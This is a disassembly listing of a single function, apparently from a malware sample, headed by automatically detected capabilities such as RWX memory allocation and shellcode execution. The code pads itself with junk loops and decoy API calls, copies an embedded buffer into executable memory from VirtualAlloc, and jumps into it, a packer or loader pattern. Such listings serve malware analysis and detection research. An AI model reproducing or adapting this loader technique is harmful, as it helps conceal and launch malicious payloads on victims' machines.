Function at 0x404d80
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Get file attributes
Get hostname
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x404daa
inc esi
cmp esi, 0x73f04bd
jl 0x404d96
cmp dword [0x462b04], 0x400
jne 0x404e12
push ebx
lea eax, [ebp - 0x41c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push ebx
push ebx
call fcn.0040566d
push ebx
call fcn.00405932
add esp, 0xc
push ebx
call fcn.00405da1
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00405420
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00405550
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00405c10
fstp st(0)
add esp, 8
cmp dword [0x462b04], 0x93
jne 0x404e6e
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0x4048dc
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push ebx
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
call fcn.004059af
push ebx
call fcn.0040598e
add esp, 0xc
push ebx
call fcn.004059a4
add esp, 4
call fcn.00404d70
push ebx
push ebx
call fcn.00405be2
add esp, 8
mov eax, dword [0x462b04]
mov ecx, dword [0x45dc94]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x463940], ecx
mov dword [0x462b04], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x462594], eax
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x404ea2
cmp dword [0x462b04], ebx
jbe 0x404f44
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
jmp 0x404ed0
mov edx, dword [0x463940]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x462594]
mov byte [ecx + esi], al
cmp dword [0x462b04], 0x490
jne 0x404f39
push 0
lea edx, [ebp - 4]
push edx
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push 0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 0x4048f8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
inc esi
cmp esi, dword [0x462b04]
jb 0x404ed0
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventW]
xor esi, esi
mov edx, dword [0x462b04]
add edx, esi
cmp edx, 0x8d
jne 0x404f8c
push 0
lea eax, [ebp - 0x41c]
push eax
push 0
push 0
push 0
push 0
call edi
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0x404950
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x404f52
call fcn.00404ca0
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x404fae
call ebx
cmp esi, 0x207142
jg 0x404fbf
inc esi
cmp esi, 0x67d12
jl 0x404fa4
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x404fdf
mov dword [ebp - 4], edi
add dword [ebp - 4], 0
mov edx, dword [ebp - 4]
add dword [0x462594], edx
inc esi
cmp esi, 0x674bd
jl 0x404fc1
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
mov dword [ebp - 4], 0x7b
cmp dword [0x462b04], 0x86
jne 0x40503c
push 0x40497c
call esi
push 0
lea eax, [ebp - 0x41c]
push eax
push 0
call edi
push 0x40498c
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x462b04], 0xf
jne 0x40504f
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
sub dword [ebp - 4], 1
jne 0x405001
push 0x4049ac
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x462594]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret